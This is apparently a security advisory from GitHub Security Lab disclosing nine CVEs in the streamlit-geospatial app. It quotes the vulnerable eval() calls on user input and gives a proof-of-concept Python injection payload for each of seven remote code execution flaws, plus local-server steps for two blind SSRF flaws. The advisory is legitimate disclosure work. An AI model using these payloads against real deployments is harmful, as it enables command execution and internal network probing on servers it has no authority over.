Coordinated Disclosure Timeline
- 2024-06-17: Sent the report to the maintainerβs email.
- 2024-07-19: Sent a follow up email asking for an update. Received an answer with the fix and was asked to request the CVEs for the issues.
- 2024-07-19: GitHub Security Lab assigns CVEs to the vulnerabilities.
Summary
Streamlit-geospatial project contains several remote code execution and blind server-side request forgery vulnerabilities.
Project
streamlit-geospatial
Tested Version
latest
Details
Issue 1: Remote code execution in pages/1_π·_Timelapse.py
Any Earth Engine ImageCollection
option palette
(GHSL-2024-100
)
The palette
variable in pages/1_π·_Timelapse.py
takes user input, which is later used in the eval()
function on line 380, leading to remote code execution.
palette = st.text_area(
"Enter a custom palette:",
palette_values,
)
st.write(
cm.plot_colormap(cmap=palette_options, return_fig=True)
)
st.session_state["palette"] = eval(palette)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π· Timelapse tab and:
- in
Select a satellite image collection:
chooseAny Earth Engine Image Collection
- in
Enter an ee.ImageCollection asset ID:
typeECMWF/CAMS/NRT
- in
- Open
Customize band combination and color palette
and paste intoEnter a custom palette
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 2: Remote code execution in pages/1_π·_Timelapse.py
Any Earth Engine ImageCollection
option vis_params
(GHSL-2024-101
)
The vis_params
variable on line 383 or line 390 in pages/1_π·_Timelapse.py
takes user input, which is later used in the eval()
function on line 395, leading to remote code execution.
if bands:
vis_params = st.text_area(
"Enter visualization parameters",
"{'bands': ["
+ ", ".join([f"'{band}'" for band in bands])
+ "]}",
)
else:
vis_params = st.text_area(
"Enter visualization parameters",
"{}",
)
try:
st.session_state["vis_params"] = eval(vis_params)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π· Timelapse tab and:
- in
Select a satellite image collection:
chooseAny Earth Engine Image Collection
- in
Enter an ee.ImageCollection asset ID:
typeECMWF/CAMS/NRT
- in
- Open
Customize band combination and color palette
and paste intoEnter visualization parameters
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 3: Remote code execution in pages/1_π·_Timelapse.py
MODIS Gap filled Land Surface Temperature Daily
option (GHSL-2024-102
)
The palette
variable on line 430 in pages/1_π·_Timelapse.py
takes user input, which is later used in the eval()
function on line 435, leading to remote code execution.
palette = st.text_area(
"Enter a custom palette:",
palette_values,
)
st.write(cm.plot_colormap(cmap=palette_options, return_fig=True))
st.session_state["palette"] = eval(palette)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π· Timelapse tab and in
Select a satellite image collection:
chooseMODIS Gap filled Land Surface Temperature Daily
- Paste into
Enter a custom palette
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 4: Remote code execution in pages/1_π·_Timelapse.py
MODIS Ocean Color SMI
option palette
(GHSL-2024-103
)
The palette
variable on line 488 in pages/1_π·_Timelapse.py
takes user input, which is later used in the eval()
function on line 493, leading to remote code execution.
palette = st.text_area(
"Enter a custom palette:",
palette_values,
)
st.write(cm.plot_colormap(cmap=palette_options, return_fig=True))
st.session_state["palette"] = eval(palette)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π· Timelapse tab and in
Select a satellite image collection:
chooseMODIS Ocean Color SMI
- Paste into
Enter a custom palette
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 5: Remote code execution in pages/1_π·_Timelapse.py
MODIS Ocean Color SMI
option vis_params
(GHSL-2024-104
)
The vis_params
variable on line 1254 in pages/1_π·_Timelapse.py
takes user input, which is later used in the eval()
function on line 1345, leading to remote code execution.
vis_params = st.text_area(
"Enter visualization parameters",
"",
help="Enter a string in the format of a dictionary, such as '{'min': 23, 'max': 32}'",
)
--- snip
elif collection == "MODIS Ocean Color SMI":
if vis_params.startswith("{") and vis_params.endswith(
"}"
):
vis_params = eval(vis_params)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π· Timelapse tab and:
- in
Select a satellite image collection:
chooseMODIS Ocean Color SMI
- in
Select a sample ROI or upload a GeoJSON file
chooseWorld
- in
- Open
Customize timelapse
and paste intoEnter visualization parameters
:{__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')}
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 6: Remote code execution in pages/10_π_Earth_Engine_Datasets.py
(GHSL-2024-105
)
The vis_params
variable on line 115 in pages/10_π_Earth_Engine_Datasets.py
takes user input, which is later used in the eval()
function on line 126, leading to remote code execution.
vis_params = st.text_input(
"Enter visualization parameters as a dictionary", {}
)
layer_name = st.text_input("Enter a layer name", uid)
button = st.button("Add dataset to map")
if button:
vis = {}
try:
if vis_params.strip() == "":
# st.error("Please enter visualization parameters")
vis_params = "{}"
vis = eval(vis_params)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to π Earth Engine Datasets tab and in
Enter a keyword to search (e.g., elevation)
typeelevation
- Paste into
Enter visualization parameters as a dictionary
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 7: Remote code execution in pages/8_ποΈ_Raster_Data_Visualization.py
(GHSL-2024-107
)
The vis_params
variable on line 80 in 8_ποΈ_Raster_Data_Visualization.py
takes user input, which is later used in the eval()
function on line 86, leading to remote code execution.
add_params = st.checkbox("Add visualization parameters")
if add_params:
vis_params = st.text_area("Enter visualization parameters", "{}")
else:
vis_params = {}
if len(vis_params) > 0:
try:
vis_params = eval(vis_params)
Impact
This issue may lead to remote code execution
.
PoC
- Start streamlit-geospatial
- Go to ποΈ Raster Data Visualization tab and select
Add visualization parameters
. - Paste into
Enter visualization parameters
:__import__('code').InteractiveInterpreter().runsource('import os;os.system(\"echo $(uname -a) > foobar.txt\")')
- Observe in the server, that a file foobar.txt has been created, and contains the output of the command
uname -a
.
Issue 8: Blind SSRF in pages/7_π¦_Web_Map_Service.py
(GHSL-2024-106
)
The url
variable on line 47 takes user Β input, which is passed to get_layers function, in which url
is used with get_wms_layer method. get_wms_layer method creates a request to arbitrary destinations, leading to blind server-side request forgery.
@st.cache_data
def get_layers(url):
options = leafmap.get_wms_layers(url)
return options
--- snip
url = st.text_input(
"Enter a WMS URL:", value="https://services.terrascope.be/wms/v2"
)
empty = st.empty()
if url:
options = get_layers(url)
Impact
This issue allows for sending requests on behalf of the streamlit-geospatial server and can be leveraged to probe for other vulnerabilities on the server itself or on other back-end systems on the internal network, that the streamlit-geospatial server can reach.
See also: https://portswigger.net/web-security/ssrf/blind
PoC
- Start streamlit-geospatial.
- Create a new folder with a file
file.txt
. Start a simple HTTP server in the folder by executingpython -m http.server
. It will start a server on 127.0.0.1:8000. - Go to π¦ Web Map Service tab and in
Enter a WMS URL:
typehttp://127.0.0.1:8000/file.txt
- Observe that a request to the file was logged in the python server.
Issue 9: Blind SSRF in pages/9_π²_Vector_Data_Visualization.py
(GHSL-2024-108
)
The url
variable on line 63 takes user input, which is later passed to the gpd.read_file
method. gpd.read_file
method creates a request to arbitrary destinations, leading to blind server-side request forgery.
url = empty.text_input(
"Enter a HTTP URL to a Cloud Optimized GeoTIFF (COG)",
cog,
)
if url:
try:
options = leafmap.cog_bands(url)
Impact
This issue allows for sending requests on behalf of the streamlit-geospatial server and can be leveraged to probe for other vulnerabilities on the server itself or on other back-end systems on the internal network, that the streamlit-geospatial server can reach.
See also: https://portswigger.net/web-security/ssrf/blind
PoC
- Start streamlit-geospatial.
- Create a new folder with a file
file.txt
. Start a simple HTTP server in the folder by executingpython -m http.server
. It will start a server on 127.0.0.1:8000. - Go to π² Vector Data Visualization tab and in
Enter a URL to a vector dataset
typehttp://127.0.0.1:8000/file.txt
- Observe that a request to the file was logged in the python server.
CVE
- GHSL-2024-100 - CVE-2024-41112
- GHSL-2024-101 - CVE-2024-41113
- GHSL-2024-102 - CVE-2024-41114
- GHSL-2024-103 - CVE-2024-41115
- GHSL-2024-104 - CVE-2024-41116
- GHSL-2024-105 - CVE-2024-41117
- GHSL-2024-106 - CVE-2024-41118
- GHSL-2024-107 - CVE-2024-41119
- GHSL-2024-108 - CVE-2024-41120
Credit
These issues were discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-100
, GHSL-2024-101
, GHSL-2024-102
, GHSL-2024-103
, GHSL-2024-104
, GHSL-2024-105
, GHSL-2024-106
, GHSL-2024-107
, or GHSL-2024-108
in any communication regarding these issues.